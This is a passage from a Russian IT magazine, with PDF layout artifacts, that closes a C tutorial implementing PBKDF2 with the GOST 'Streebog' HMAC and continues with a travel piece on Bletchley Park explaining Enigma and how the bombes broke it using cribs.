текуще го  номера  цик ла  в  бай товом  пред став лении  (напом ню,  номер  цик ла
изме няет ся  в  пре делах  от  еди ницы  до  ,  где   —  чис ло  бло ков  в  иско мом
хеше).  Резуль татом  пос леду ющих  ите раций  будет  резуль тат  вычис ления
HMAC_GOSTR3411  от  пароля  и  зна чения  HMAC_GOSTR3411,  получен ного
на пре дыду щей ите рации. Далее резуль таты каж дой ите рации побай тно ксо‐ 
рят ся меж ду собой, и в ито ге мы получа ем резуль тат вычис лений одно го цик‐ 
ла  ,  где    лежит  в  пре делах  от  еди ницы  до    (чис ло  бло ков  иско мого
хеша).
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Схе ма i‐го цик ла фун кции PBKDF (в дан ном слу чае i = 1)

Фун кция вычис ления зна чения пер вой ите рации для  -го цик лаi
Объ явим фун кцию так:

static void
U_first(const uint8_t *password, size_t size_pass,
 const uint8_t *salt, size_t size_salt,
 uint32_t i, uint8_t *U_first_res)

На  вход  пода ем  ука затель  на  бай товый  мас сив  с  паролем,  раз мер  это го
пароля,  ука затель на мас сив с  солью, раз мер соли,  номер цик ла  ,  а  так же
ука затель на бай товый мас сив для записи резуль тата. Далее соль и зна чение
номера  цик ла  (в  четырех бай товом  пред став лении)  сли ваем  в  один  мас сив
и счи таем HMAC_GOSTR3411 от  зна чений пароля и объ еди нен ного мас сива
с солью и номером текуще го цик ла:

i

// Формируем массив для объединения соли и номера цикла
uint8_t *internal;
internal = malloc(size_salt + 4); // Поскольку номер цикла в 
четырехбайтовом представлении, то размер массива больше длины соли 
как раз на четыре
memcpy(internal, salt, size_salt);
// Формируем номер цикла в виде четырех байт
internal[size_salt] = (uint8_t)((i >> 24) & 0xff);
internal[size_salt + 1] = (uint8_t)((i >> 16) & 0xff);
internal[size_salt + 2] = (uint8_t)((i >> 8) & 0xff);
internal[size_salt + 3] = (uint8_t)(i & 0xff);
// Считаем HMAC_GOSTR3411
HMAC_GOSTR3411(password, size_pass, internal, size_salt + 4, U_firs
t_res);

Фун кция вычис ления зна чения пос леду ющих ите раций для  -го
цик ла

i

Объ явле ние дан ной фун кции выг лядит сле дующим обра зом:

static void
U_iter(const uint8_t *password, size_t size_pass,
 const uint8_t *U_prev, uint8_t *U_iter_res)

На  вхо де  у  нас:  зна чение  пароля  (вер нее,  ука затель  на  бай товый  мас сив
с  этим  зна чени ем),  дли на  пароля,  ука затель  на  мас сив  с  резуль татом  пре‐ 
дыду щей  ите рации  и  ука затель  на  бай товый  мас сив  для  записи  резуль тата
работы фун кции.

В тело самой фун кции помес тим все го одну стро ку (что она дела ет, думаю,
понят но):

HMAC_GOSTR3411(password, size_pass, U_prev, BLOCK_SIZE, U_iter_res);

Ксо рим резуль таты всех ите раций
Для это го дей ствия объ явим фун кцию F:

static void
F(const uint8_t *password, size_t size_pass, const uint8_t *salt,
 size_t size_salt, uint64_t num_iter, uint32_t block_number,
 uint8_t *F_res)

На вход фун кции пода ем ука затель на мас сив с паролем, дли ну пароля, ука‐ 
затель  на  соль,  дли ну  соли,  чис ло  ите раций,  номер  текуще го  бло ка  (или
номер  текуще го  цик ла)  и  ука затель  на  мес то,  куда  будем  писать  резуль тат.
Далее напишем саму фун кцию:

// Объявляем массивы, необходимые для вычислений
uint8_t T[BLOCK_SIZE];
uint8_t T_[BLOCK_SIZE];
uint8_t internal[BLOCK_SIZE];
// Считаем результат первой итерации
U_first(password, size_pass, salt, size_salt, block_number, T);
memcpy(internal, T, BLOCK_SIZE);
// Считаем результаты последующих операций и ксорим их между собой
for (uint64_t i = 1; i < num_iter; i++){
 U_iter(password, size_pass, internal, internal);
 add_xor_64(internal, T, T_);
 memcpy(T, T_, BLOCK_SIZE);

}
memcpy(F_res, T, BLOCK_SIZE);

Итак,  все  для  того,  что бы  про делать  один  цикл  рас чета  хеша,  у  нас  есть.
Оста лось разоб рать, что делать с получен ными в каж дом цик ле резуль татами
рас чета и как из них получить иско мый хеш.

Со бира ем резуль таты рас четов каж дого цик ла и опре деля ем
окон чатель ный хеш
Пос ле про хода всех цик лов мы получим мно жес тво зна чений вида 

,  каж дое  из  которых  пред став ляет  собой  резуль тат  вычис‐ 
лений одно го из цик лов. То есть   — резуль тат вычис лений пер вого цик‐ 
ла,   — вто рого и так далее. Чис ло же цик лов, напом ню, у нас опре деля‐ 
ется чис лом 64‐бай товых бло ков в иско мом хеше. Для того что бы из получен‐ 
ного мно жес тва опре делить нуж ное нам зна чение хеша, необ ходимо прос то
выпол нить кон катена цию всех зна чений   из получен ного мно жес тва (при вес‐ 
ти все эти зна чения к одно му мас сиву) и отде лить от получив шегося мас сива
столь ко бай тов, какую дли ну иско мого хеша нам надо получить (то есть про‐ 
извести усе чение получен ного мас сива спра ва на лиш нее чис ло бай тов).

{T(1), T(
2),  ...,  T(N)}

T(1)
T(2)

T

Кон катена ция мас сивов и усе чение до нуж ного раз мера. DK — нуж ный
нам хеш, R — фун кция усе чения)

Ис ходя  из  это го,  напишем  ито говую фун кцию,  которая  и  будет  счи тать  все,
что нам нуж но (а имен но зна чение хеша от пароля и соли). На вход пос тупа ют:
ука зате ли на пароль,  соль и  зна чения их раз меров;  чис ло ите раций; нуж ная
нам дли на хеша; ука затель, куда помес тим ито говый резуль тат:

void
PBKDF_2(const uint8_t *password, size_t size_pass,
 const uint8_t *salt, size_t size_salt,
 uint64_t num_iter, uint64_t key_length, uint8_t *key)

Оп ределя ем количес тво бло ков (и, соот ветс твен но, чис ло цик лов рас чета):

uint32_t num_block = key_length / BLOCK_SIZE;
// Округляем в большую сторону
if ((key_length % BLOCK_SIZE) != 0)
 num_block += 1;

Ре зер виру ем нуж ные мес та в памяти:

uint8_t F_res[BLOCK_SIZE]; // Массив для хранения результата одной 
итерации
uint8_t *DK; // Массив для хранения итогового значения хеша
DK = malloc(num_block * BLOCK_SIZE);

Де лаем нуж ное количес тво цик лов и сли ваем резуль таты всех цик лов в один
общий длин ный мас сив:

for (uint32_t i = 0; i < num_block; i++){
 F(password, size_pass, salt, size_salt, num_iter, i + 1, F_res);
 memcpy(DK + (i * BLOCK_SIZE), F_res, BLOCK_SIZE);

}

От сека ем лиш нее и пишем резуль тат в нуж ное мес то:

memcpy(key, DK, key_length);

ЗАКЛЮЧЕНИЕ
Вот и все. Резуль тат работы написан ной нами фун кции PBKDF_2 с исходны ми
дан ными  из  пятого  кон троль ного  при мера  методи чес ких  рекомен даций
Р 50.1.111—2016 (с. 9) показан на рисун ке ниже.

Вре мя рас чета хеша сос тавило поряд ка 15 секунд

Вре мя  рас чета  хеша  при  количес тве  ите раций  4096  сос тавило  око ло  пят‐ 
надца ти  секунд,  что  впол не  спо соб но  очень  серь езно  усложнить  зло умыш‐ 
ленни ку под бор пароля как пря мым перебо ром, так и с помощью «радуж ных
таб лиц» и про чего непот ребс тва.

Ду мает ся,  написан ная  нами  фун кция  хеширо вания  паролей  на  осно ве
рос сий ско го алго рит ма «Стри бог» наряду с  ,  ,  ,   и про‐ 
чими алго рит мами под сче та хеша зай мет свое мес то в тво ей кол лекции алго‐ 
рит мов  хеширо вания паролей,  а  при  выборе алго рит ма для сво его оче ред‐ 
ного про екта ты будешь знать, что алго рит мам, при думан ным за пре дела ми
Рос сий ской Федера ции, есть впол не дос той ная оте чес твен ная аль тер натива.

scrypt bcrypt crypt SHA‐2

WWW

 в виде про екта на Qt•Код к статье
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ТК‐26  «Крип тогра фичес кая  защита  информа‐ 
ции»
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Ты навер няка слы шал про тест Тьюрин га и,
воз можно,  машину  Тьюрин га.  Одна ко,
помимо  абс трак тно го  уни вер саль ного
вычис лителя,  Алан  Тьюринг  при думал
и  впол не  реаль ный  —  тот,  что  во  вре мя
Вто рой  мировой  вой ны  при менял ся
для  взло ма  немец ких  шиф ров.  О  том,
как это работа ло, луч ше все го узнать пря мо
на  мес те  тог дашних  событий,  в  Блет‐ 
чли‐пар ке.  Для  любите лей  крип тогра фии
это  прак тичес ки  свя тая  зем ля.  Побывав
на  ней,  спе шу  поделить ся  с  тобой  впе чат‐ 
лени ями.

Поч ти в любое вре мя года англий ская дерев ня выг лядит оди нако во: зеленые
луга, коровы, сред невеко вого вида домики и широкое небо — иног да серое,
иног да — осле питель но‐голубое. Оно как раз перехо дило от пер вого режима
к более ред кому вто рому, ког да при город ная элек трич ка мча ла меня до стан‐ 
ции Блет чли. Слож но пред ста вить, что в окру жении этих живопис ных хол мов
зак ладыва лись осно вы  компь ютер ной науки и  крип тогра фии. Впро чем, про‐ 
гул ка по инте рес ней шему музею раз веяла все воз можные сом нения.

Та кое живопис ное мес то, конеч но, было выб рано англи чана ми не слу чай‐ 
но:  неп римет ные  бараки  с  зелены ми  кры шами,  рас положен ные  в  глу хой
дерев не, — это  как раз  то,  что было нуж но,  что бы спря тать свер хсек ретный
воен ный  объ ект,  где  неп рерыв но  тру дились  над  взло мом  шиф ров  стран
«оси». Пусть со сто роны Блет чли‐парк и не впе чат ляет, но та работа, которую
здесь выпол няли, помог ла перело мить ход вой ны.

КРИПТОХАТКИ
В воен ные вре мена в Блет чли‐парк въез жали через глав ные ворота, предъ‐ 
являя  охра не  про пуск,  а  теперь  покупа ют  билетик  на  про ход ной.  Я  задер‐ 
жался там еще чуть‐чуть, что бы пос мотреть на при лега ющий магазин сувени‐ 
ров  и  вре мен ную  экспо зицию,  пос вящен ную  тех нологи ям  раз ведки  Пер вой
мировой (кста ти, тоже инте рес ней шая тема). Но глав ное жда ло впе реди.

Собс твен но  Блет чли‐парк  —  это  око ло  двад цати  длин ных  одно этаж ных
пос тро ек, которые на англий ском называ ют hut, а на рус ский обыч но перево‐ 
дят как «домик». Я про себя называл их «хат ками», сов мещая одно с дру гим.
Помимо  них,  есть  особ няк  (он  же  Mansion),  где  работа ло  коман дование
и при нима ли высоких  гос тей,  а  так же нес коль ко вспо мога тель ных пос тро ек:
быв шие конюш ни, гараж, жилые дома для пер сонала.

Те самые домики

Усадь ба во всей кра се

Внут ри усадь ба выг лядит побога че, чем хат ки

У  каж дого  домика —  свой  номер,  при чем  номера  эти  име ют  исто ричес кое
зна чение,  ты обя затель но встре тишь их в любом рас ска зе о Блет чли‐пар ке.
В  шес той,  к  при меру,  пос тупали  перех вачен ные  сооб щения,  в  вось мом
занима лись крип тоана лизом (там и работал Алан Тьюринг), в один надца том
сто яли вычис литель ные машины — «бом бы». Чет вертый домик поз же выдели‐ 
ли  под  работу  над  вари антом  «Эниг мы»,  который  исполь зовал ся  на  фло те,
седь мой  —  под  япон скую  вари ацию  на  тему  «Эниг мы»  и  дру гие  шиф ры,
в пятом ана лизи рова ли переда чи, перех вачен ные в Ита лии, Испа нии и Пор‐ 
тугалии, а так же шиф ровки немец кой полиции. Ну и так далее.

Это не отряд хип сте ров при ехал на экскур сию, а велоси педы из сороко ‐
вых. На одном из таких ездил Тьюринг

По сещать домики мож но в любом поряд ке. Обста нов ка в боль шинс тве из них
очень похожая: ста рая мебель, ста рые вещи, истре пан ные тет ради, пла каты
и кар ты вре мен Вто рой мировой. Все это, конеч но, не лежало здесь восемь‐ 
десят лет: домики сна чала перехо дили от одной государс твен ной орга низа‐ 
ции  к  дру гой,  потом  были  заб рошены,  и  толь ко  в  2014  году  рес тавра торы
скру пулез но вос ста нови ли их, спа ся от сно са и прев ратив в музей.

К  это му,  как  при нято  в  Англии,  подош ли  не  толь ко  тща тель но,  но  и
с выдум кой: во мно гих ком натах из спря тан ных динами ков раз дают ся голоса
акте ров  и  зву ки,  которые  соз дают  впе чат ление,  буд то  вок руг  кипит  работа.
Заходишь и слы шишь стук пишущей машин ки, чьи‐то шаги и радио вда леке,
а  затем  «под слу шива ешь»  ожив ленный  раз говор  о  недав но  перех вачен ной
шиф ровке.

Но  нас тоящая  диковин ка —  это  про екции.  Нап ример,  вот  этот  муж чина,
который как бы сидит за сто лом, поп риветс тво вал меня и вкрат це рас ска зал
о мес тных поряд ках.

Во мно гих ком натах царит полум рак — что бы луч ше были вид ны про ‐
екции

Ин терес нее все го, конеч но, было пос мотреть на рабочий стол Ала на Тьюрин‐ 
га. Его кабинет находит ся в вось мом домике и выг лядит очень скром но.

Ав топор трет вышел ненаме рен но

При мер но так выг лядел стол Ала на Тьюрин га

Ну  а  на  само  тво рение  Тьюрин га — машину для рас шифров ки  «Эниг мы» —
мож но взгля нуть в доме номер 11 — там же, где в свое вре мя была соб рана
самая пер вая модель «бом бы».

Вок руг — тол па!

КРИПТОЛОГИЧЕСКАЯ БОМБА
Воз можно, для тебя это будет новостью, но Алан Тьюринг был не пер вым, кто
рас шифро вал «Эниг му» методом механи чес кого перебо ра. Его работе пред‐ 
шес тву ет иссле дова ние поль ско го крип тогра фа Мари ана Реев ско го. Кста ти,
имен но он наз вал машину для рас шифров ки «бом бой».

Поль ская «бом ба» была зна читель но про ще. Обра ти вни мание
на роторы свер ху

По чему  «бом ба»?  Есть  нес коль ко  раз ных  вер сий.  Нап ример,  по  одной  так
яко бы называл ся любимый Реев ским и кол легами сорт мороже ного, который
про дава ли  в  кафе  непода леку  от  бюро  шиф рования  поль ско го  ген шта ба,
и  они  поза имс тво вали  это  наз вание.  Куда  более  прос тое  объ ясне ние  —
в  том,  что в поль ском язы ке сло во  «бом ба» может исполь зовать ся для вос‐ 
кли цания  вро де  «эври ка!».  Ну  и  сов сем  прос той  вари ант:  машина  тикала
подоб но бом бе.

Не задол го  до  зах вата  Поль ши  Гер мани ей  поль ские  инже неры  переда ли
англи чанам все наработ ки, свя зан ные с декоди рова нием немец ких шиф ров,
в  том чис ле  чер тежи  «бом бы»,  а  так же работа ющий экзем пляр  «Эниг мы» —
не  немец кой,  а  поль ско го  кло на,  который  они  успе ли  раз работать  до  втор‐ 
жения. Осталь ные наработ ки поляков были унич тожены, что бы раз ведка Гит‐ 
лера ничего не заподоз рила.

Проб лема зак лючалась в том, что поль ский вари ант «бом бы» был рас счи‐ 
тан толь ко на машину «Эниг ма I» с тре мя фик сирован ными ротора ми. Еще до
начала  вой ны нем цы  вве ли  в  экс плу ата цию  усо вер шенс тво ван ные  вари анты
«Эниг мы», где роторы заменя лись каж дый день. Это сде лало поль ский вари‐ 
ант пол ностью неп ригод ным.

INFO

Ес ли ты смот рел «Игру в ими тацию», то уже неп‐ 
лохо  зна ком  с  обста нов кой  в  Блет чли‐пар ке.
Одна ко  режис сер  не  удер жался  и  сде лал  нес‐ 
коль ко  отступ лений  от  реаль ных  исто ричес ких
событий. В час тнос ти, Тьюринг не соз давал про‐ 
тотип  «бом бы»  собс твен норуч но  и  никог да
не называл ее «Крис тофером».

По пуляр ный англий ский актер Крип токод Под ‐
бирач в роли Ала на Тьюрин га

На  осно ве  поль ской  машины  и  теоре тичес ких  работ  Ала на  Тьюрин га  инже‐ 
неры British  Tabulating Machine Company  соз дали  те  «бом бы»,  которые  пос‐ 
тавля лись  в  Блет чли‐парк  и  на  дру гие  сек ретные  объ екты.  К  кон цу  вой ны
машин  было  уже  210,  одна ко  с  окон чани ем  воен ных  дей ствий  все  «бом бы»
унич тожили по при казу Уин сто на Чер чилля.

За чем  бри тан ским  влас тям  понадо билось  унич тожать  такой  прек расный
дата‐центр? Дело в том, что «бом ба» не явля ется уни вер саль ным компь юте‐ 
ром  —  она  пред назна чена  исклю читель но  для  декоди рова ния  сооб щений,
зашиф рован ных  «Эниг мой».  Как  толь ко  нуж да  в  этом  отпа ла,  машины  тоже
ста ли ненуж ными, а их ком понен ты мож но было рас про дать.

Дру гой  при чиной,  воз можно,  было  пред чувс твие,  что  Совет ский  Союз
в  даль нейшем  ока жет ся  не  луч шим  дру гом  Великоб ритании.  Что,  если
в  СССР  (или  где‐нибудь  еще)  ста ли  бы  исполь зовать  тех нологию,  похожую
на  «Эниг му»? Тог да  луч ше никому не демонс три ровать  воз можность  вскры‐ 
вать ее шиф ры быс тро и авто мати чес ки.

С воен ных вре мен сох ранилось толь ко две «бом бы» — они были переда ны
в  GCHQ,  Центр  пра витель ствен ной  свя зи  Великоб ритании  (счи тай,  сов‐ 
ремен ный ана лог Блет чли‐пар ка). Говорят, они были демон тирова ны в шес‐ 
тидеся тые  годы.  Зато  в  GCHQ милос тиво  сог ласились  пре дос тавить  музею
в  Блет чли  ста рые  чер тежи  «бомб»  —  увы,  не  в  луч шем  сос тоянии  и  не
целиком. Тем не менее силами энту зиас тов их уда лось вос ста новить, а затем
соз дать и нес коль ко реконс трук ций. Они‐то сей час и сто ят в музее.

За нят но, что во вре мя вой ны на про изводс тво пер вой «бом бы» ушло око‐ 
ло две над цати месяцев, а вот реконс трук торы из 

,  начав  в  1994  году,  тру дились  око ло  две над цати  лет.  Что,  конеч но,
неуди витель но, учи тывая, что они не рас полага ли никаки ми ресур сами, кро‐ 
ме сво их сбе реже ний и гаражей.

BCS Computer Conservation
Society
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КАК РАБОТАЛА «ЭНИГМА»
Итак,  «бом бы»  исполь зовались  для  рас шифров ки  сооб щений,  которые
получа лись  на  выходе  пос ле  шиф рования  «Эниг мой».  Но  как  имен но  она
это дела ет? Под робно раз бирать ее элек тро меха ничес кую схе му мы, конеч‐ 
но, не будем, но общий прин цип работы узнать инте рес но. По край ней мере,
мне было  инте рес но  пос лушать  и  записать  этот  рас сказ  со  слов  работ ника
музея.

Ус трой ство  «бом бы»  во мно гом обус ловле но  устрой ством  самой  «Эниг мы».
Собс твен но, мож но счи тать, что «бом ба» — это нес коль ко десят ков «Энигм»,
сос тавлен ных вмес те таким обра зом, что бы переби рать воз можные нас трой‐ 
ки шиф роваль ной машины.

Са мая  прос тая  «Эниг ма»  —  трех ротор ная.  Она  широко  при меня лась
в вер махте, и ее дизайн пред полагал, что ей смо жет поль зовать ся обыч ный
сол дат, а не матема тик или инже нер. Работа ет она очень прос то: если опе‐ 
ратор нажима ет, ска жем, P, под одной из букв на панели загорит ся лам почка,
нап ример под бук вой Q. Оста ется толь ко перевес ти в мор зянку и передать.

Важ ный момент: если нажать P еще раз, то очень мал шанс сно ва получить
Q.  Потому  что  каж дый  раз,  ког да  ты  нажима ешь  кноп ку,  ротор  сдви гает ся
на одну позицию и меня ет кон фигура цию элек три чес кой схе мы. Такой шифр
называ ется поли алфа вит ным.

Пос мотри на три ротора навер ху. Если ты, нап ример, вво дишь Q на кла виату‐ 
ре, то Q сна чала заменит ся на Y, потом на S, на N, потом отра зит ся (получит‐ 
ся K), сно ва триж ды изме нит ся и на выходе будет U. Таким обра зом, Q будет
закоди рова на как U. Но что, если ввес ти U? Получит ся Q! Зна чит, шифр сим‐ 
метрич ный.  Это  было  очень  удоб но  для  воен ных  при мене ний:  если  в  двух
мес тах име лись «Эниг мы» с оди нако выми нас трой ками, мож но было сво бод‐ 
но переда вать сооб щения меж ду ними.

У этой схе мы, прав да, есть боль шой недос таток: при вво де бук вы Q из‐за
отра жения в кон це ни при каких усло виях нель зя было получить Q. Немец кие
инже неры зна ли об этой осо бен ности, но не при дали ей осо бого зна чения,
а вот бри тан цы наш ли воз можность экс плу ати ровать ее.

От куда англи чанам было извес тно о внут реннос тях «Эниг мы»? Дело в том,
что в ее осно ве лежала совер шенно не сек ретная раз работ ка. Пер вый патент
на нее был подан в 1919 году и опи сывал машину для бан ков и финан совых
орга низа ций,  которая  поз воляла  обме нивать ся  шиф рован ными  сооб щени‐ 
ями. Она про дава лась на откры том рын ке, и бри тан ская раз ведка успе ла при‐ 
обрести  нес коль ко  экзем пля ров.  По  их  же  при меру,  кста ти,  была  сде лана
и  бри тан ская  шиф роваль ная  машина  Typex,  в  которой  опи сан ный  выше
недос таток исправ лен.

Са мая пер вая модель Typex. Целых пять роторов!

Каж дый  месяц  в  шта бе  вер махта  сос тавля ли  таб лицы  нас тро ек  «Эниг мы»
на каж дый день, которые затем рас сылали всем поль зовате лям.

У  стан дар тной  «Эниг мы»  было  три  ротора,  но  все го  мож но  было  выб рать
из пяти вари антов и уста новить каж дый из них в любое гнез до. Имен но это и
отра жено во вто ром стол бце — номера роторов в том поряд ке, в котором их
пред полага ется ста вить в машину. Таким обра зом, уже на этом эта пе мож но
было получить шесть десят вари антов нас тро ек.

Ря дом  с  каж дым  ротором  рас положе но  коль цо  с  бук вами  алфа вита  (в
некото рых  вари антах  машины  —  соот ветс тву ющие  им  чис ла).  Нас трой ки
для этих колец — в треть ем стол бце.

Са мый широкий стол бец — это уже изоб ретение немец ких крип тогра фов,
которо го  в  изна чаль ной  «Эниг ме»  не  было.  Здесь  при веде ны  нас трой ки,
которые  зада ются  при  помощи  ште кер ной  панели  попар ным  соеди нени ем
букв. Это запуты вает всю схе му и прев раща ет ее в неп ростой пазл.

Ес ли  пос мотреть  на  ниж нюю  стро ку  нашей  таб лицы  (пер вое  чис ло
месяца), то нас трой ки будут такими: в машину сле ва нап раво ста вят ся роторы
III,  I и IV, коль ца рядом с ними выс тавля ются в 18, 24 и 15, а затем на панели
ште кера ми соеди няют ся бук вы N и P, J и V и так далее.

С  уче том  всех  этих  фак торов  получа ется  око‐ 
ло 107 458 687 327 300 000 000 000 воз можных ком бинаций — боль ше, чем
прош ло  секунд  с  Боль шого  взры ва.  Неуди витель но,  что  нем цы  счи тали  эту
машину край не надеж ной.

INFO

Су щес тво вало  мно жес тво  вари антов  «Эниг мы»,
в  час тнос ти  на  под водных  лод ках  исполь зовал ся
вари ант с четырь мя ротора ми.

ВЗЛОМ «ЭНИГМЫ»
Взло мать  шифр,  как  водит ся,  поз волила  ненадеж ность  людей,  их  ошиб ки
и пред ска зуемость.

Ру ководс тво к «Эниг ме» говорит, что нуж но выб рать три из пяти роторов.
Каж дая из трех горизон таль ных сек ций «бом бы» может про верять одно воз‐ 
можное положе ние, то есть одна машина еди нов ремен но может прог нать три
из  шес тидеся ти  воз можных  ком бинаций.  Что бы  про верить  все,  нуж но  либо
двад цать «бомб», либо двад цать пос ледова тель ных про верок.

Од нако нем цы сде лали при ятный сюр приз англий ским крип тогра фам. Они
вве ли пра вило, по которо му оди нако вое положе ние роторов не дол жно пов‐ 
торять ся в  течение месяца, а  так же в  течение двух дней под ряд. Зву чит  так,
буд то  это  дол жно  было  повысить  надеж ность,  но  в  реаль нос ти  при вело
к  обратно му  эффекту.  Получи лось,  что  к  кон цу  месяца  количес тво  ком‐ 
бинаций, которые нуж но было про верять, зна читель но умень шалось.

Вто рая  вещь,  которая  помог ла  в  рас шифров ке,  —  это  ана лиз  тра фика.
Англи чане  слу шали  и  записы вали шиф рован ные  сооб щения  армии  Гит лера
с самого начала вой ны. О рас шифров ке тог да речь не шла, но иног да быва ет
важен  сам  факт  ком муника ции  плюс  такие  харак терис тики,  как  час тота,
на которой переда валось сооб щение, его дли на, вре мя дня и так далее. Так‐ 
же при помощи три ангу ляции мож но было опре делить, отку да было отправ‐ 
лено сооб щение.

Хо роший при мер — переда чи, которые пос тупали с Север ного моря каж‐ 
дый день из одних и тех же локаций, в одно и то же вре мя, на одной и той же
час тоте.  Что  это  мог ло  быть?  Ока залось,  что  это  мете оро логи чес кие  суда,
ежед невно слав шие дан ные о погоде. Какие сло ва могут содер жать ся в такой
переда че?  Конеч но,  «прог ноз  погоды»!  Такие  догад ки  откры вают  дорогу
для метода,  который  сегод ня  мы  называ ем  ата кой  на  осно ве  откры тых  тек‐ 
стов, а в те вре мена окрести ли «под сказ ками» (cribs).

Пос коль ку мы зна ем, что «Эниг ма» никог да не дает на выходе те же бук вы,
что были в исходном сооб щении, нуж но пос ледова тель но сопос тавить «под‐ 
сказ ку» с каж дой подс тро кой той же дли ны и пос мотреть, нет ли сов падений.
Если нет,  то это стро ка‐кан дидат. Нап ример, если мы про веря ем под сказ ку
«погода в Бис кай ском заливе» (Wettervorhersage Biskaya), то сна чала выписы‐ 
ваем ее нап ротив шиф рован ной стро ки.

Q F Z W R W I V T Y R E *S* X B F O G K U H Q B A I S E Z
W E T T E R V O R H E R *S* A G E B I S K A Y A

Ви дим, что бук ва S шиф рует ся сама в себя. Зна чит, под сказ ку нуж но сдви нуть
на один сим вол и про верить сно ва. В этом слу чае сов падать будет сра зу нес‐ 
коль ко  букв  —  дви гаем  еще.  Сов пада ет  R.  Дви гаем  еще  дваж ды,  пока
не натал кива емся на потен циаль но пра виль ную подс тро ку.

Ес ли бы мы име ли дело с шиф ром под ста нов ки, то на этом мож но было бы
и закон чить. Но пос коль ку это поли алфа вит ный шифр, нам нуж ны нас трой ки
и  исходные  положе ния  роторов  «Эниг мы».  Имен но  их  и  под бирали
при помощи «бомб». Для это го пары букв нуж но сна чала про нуме ровать.

1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
R  W  I  V  T  Y  R  E  S  X  B  F  O  G  K  U  H  Q  B  A  I  S  E
W  E  T  T  E  R  V  O  R  H  E  R  S  A  G  E  B  I  S  K  A  Y  A

А затем на осно ве этой таб лицы сос тавить так называ емое «меню» — схе му,
по  которой  вид но,  какая  бук ва  исходно го  сооб щения  (то  есть  «под сказ ки»)
в какую бук ву пред положи тель но шиф рует ся и в какой позиции. По этой схе ме
и нас тра ивает ся «бом ба».

Каж дый  из  бараба нов  может  при нять  одно  из  26  положе ний —  по  одно му
на каж дую переби раемую бук ву алфа вита. За каж дым из бараба нов — 26 кон‐ 
тактов,  которые  тол сты ми  шлей фами  соеди няют ся  таким  обра зом,  что бы
машина  иска ла  нас трой ки  ште кер ной  панели,  дающие  пос ледова тель ные
сов падения букв шиф рован ной стро ки с под сказ кой.

«Бом ба» сза ди — впе чат ляющее зре лище

Пос коль ку  стро ение  «бом бы»  не  учи тыва ет  устрой ство  ком мутаций  внут ри
«Эниг мы»,  она  по  ходу  работы  выда ет  нес коль ко  вари антов,  которые  опе‐ 
ратор  дол жен  про верить.  Часть  из  них  не  подой дет  прос то  потому,  что
в «Эниг ме» к одно му гнез ду мож но под клю чить толь ко один ште кер. Если нас‐ 
трой ки не под ходят, опе ратор запус кает машину сно ва, что бы получить сле‐ 
дующий вари ант.

При мер но за пят надцать минут «бом ба» перебе рет все вари анты для выб‐ 
ранной позиции бараба нов. Если она уга дана вер но, то оста ется подоб рать
нас трой ки колец — уже без авто мати ки (не будем пог ружать ся в под робнос‐ 
ти). Затем на модифи циро ван ных для сов мести мос ти с «Эниг мой» англий ских
машинах Typex шиф ровки перево дили в чис тый текст.

Та ким обра зом, опе рируя целым пар ком из «бомб», бри тан цы к кон цу вой‐ 
ны  каж дый  день  получа ли  акту аль ные  нас трой ки  еще  до  зав тра ка.  Все го
у нем цев было око ло полусот ни каналов, по мно гим из которых переда вались
гораз до более инте рес ные вещи, чем прог ноз погоды.

Раз реша ется тро гать руками
В музее Блет чли‐пар ка мож но не толь ко смот реть по сто ронам, но и при кос‐ 
нуть ся  к  дешиф ровке  собс твен норуч но.  В  том  чис ле  —  при  помощи  сто‐ 
лов‐тачс кри нов. Каж дый из них дает свое задание.

В  этом,  нап ример,  пред лага ется  сов мещать  лис ты  Бан бури  ( ).
Это ран ний метод дешиф ровки «Эниг мы», который при менял ся до соз дания
«бомб».  Увы,  таким  спо собом  рас шифро вать  что‐то  в  течение  суток  было
невоз можно, а в пол ночь все успе хи прев ращались в тык ву из‐за оче ред ной
сме ны нас тро ек.

Banburismus

МУЛЯЖ «ДАТА-ЦЕНТРА» В HUT 11
Что  же  сто ит  в  домике  номер  11,  где  рань ше  была  «сер верная»,  если  все
«бом бы» были  унич тожены  в  прош лом  веке? Чес тно  говоря,  я  все же  в  глу‐ 
бине души наде ялся зай ти сюда и обна ружить все в том же виде, что и ког‐ 
да‐то. Увы, нет, но зал все рав но не пус тует.

Здесь  сто ят  вот  такие  желез ные  конс трук ции  с  фанер ными  лис тами.
На одних — фотог рафии «бомб» в натураль ную величи ну, на дру гих — цитаты
из рас ска зов  тех,  кто здесь работал. Ими были в основном жен щины, в  том
чис ле  из  WAF —  жен ской  служ бы  ВВС  Великоб ритании.  Цитата  на  сним ке
говорит нам о том, что перек лючение шлей фов и прис мотр за «бом бами» был
вов се не лег кой задачей, а изма тыва ющим ежед невным тру дом.

Кста ти,  меж ду  муляжа ми  спря тана  оче ред ная  серия  про екций.  Девуш ка
рас ска зыва ет сво ей под руге о  том, что понятия не име ла,  где ей пред сто ит
слу жить, и пол ностью пораже на про исхо дящим в Блет чли. Что ж, я был тоже
поражен необыч ным экспо натом!

ДРУГИЕ ИНТЕРЕСНЫЕ ВЕЩИ
В общей  слож ности  я  про вел  в  Блет чли‐пар ке  пять  часов. Это го  едва‐едва
хва тило, что бы хорошень ко пос мотреть цен траль ную часть и мель ком — все
осталь ное.  Было  нас толь ко  инте рес но,  что  я  даже  не  заметил,  как  прош ло
вре мя, пока ноги не начали ныть и про сить ся обратно — если не в гос тиницу,
то хотя бы в элек трич ку.

А  помимо  домиков,  полутем ных  кабине тов,  вос ста нов ленных  «бомб»
и длин ных стен дов с соп роводи тель ными тек ста ми, было на что пос мотреть.
Про зал, пос вящен ный шпи она жу во вре мя Пер вой мировой, я уже упо мянул.
Был  еще  зал  про  дешиф ровку  «Лорен ца»  (я  как‐то    об  этом  стар шем
бра те  «Эниг мы»  в  руб рику WWW)  и  соз дание  компь юте ра  .  Кста ти,
в музее я обна ружил и сам «Колосс», вер нее ту часть, что успе ли пос тро ить
реконс трук торы.

пи сал
Colossus

Са мых  вынос ливых  уже  за  тер ритори ей  Блет чли‐пар ка  ждет  неболь шой
музей  компь ютер ной  исто рии,  где  мож но  озна комить ся  с  тем,  как  вычис‐ 
литель ная  тех ника  раз вивалась  пос ле  Тьюрин га.  Туда  я  тоже  заг лянул,
но  про шел  уже  быс трым  шагом.  На  BBC  Micro  и  «Спек тру мы»  я  уже  нас‐ 
мотрел ся в дру гих мес тах — ты можешь сде лать это, нап ример, на питер ском
фес тивале  Chaos  Constructions.  А  вот  живую  «бом бу»  где  попало  не  встре‐ 
тишь!

Пос ле «бомб» и «Колос са» это все выг лядит как страш ный новодел

Лон дон ские музеи для гика
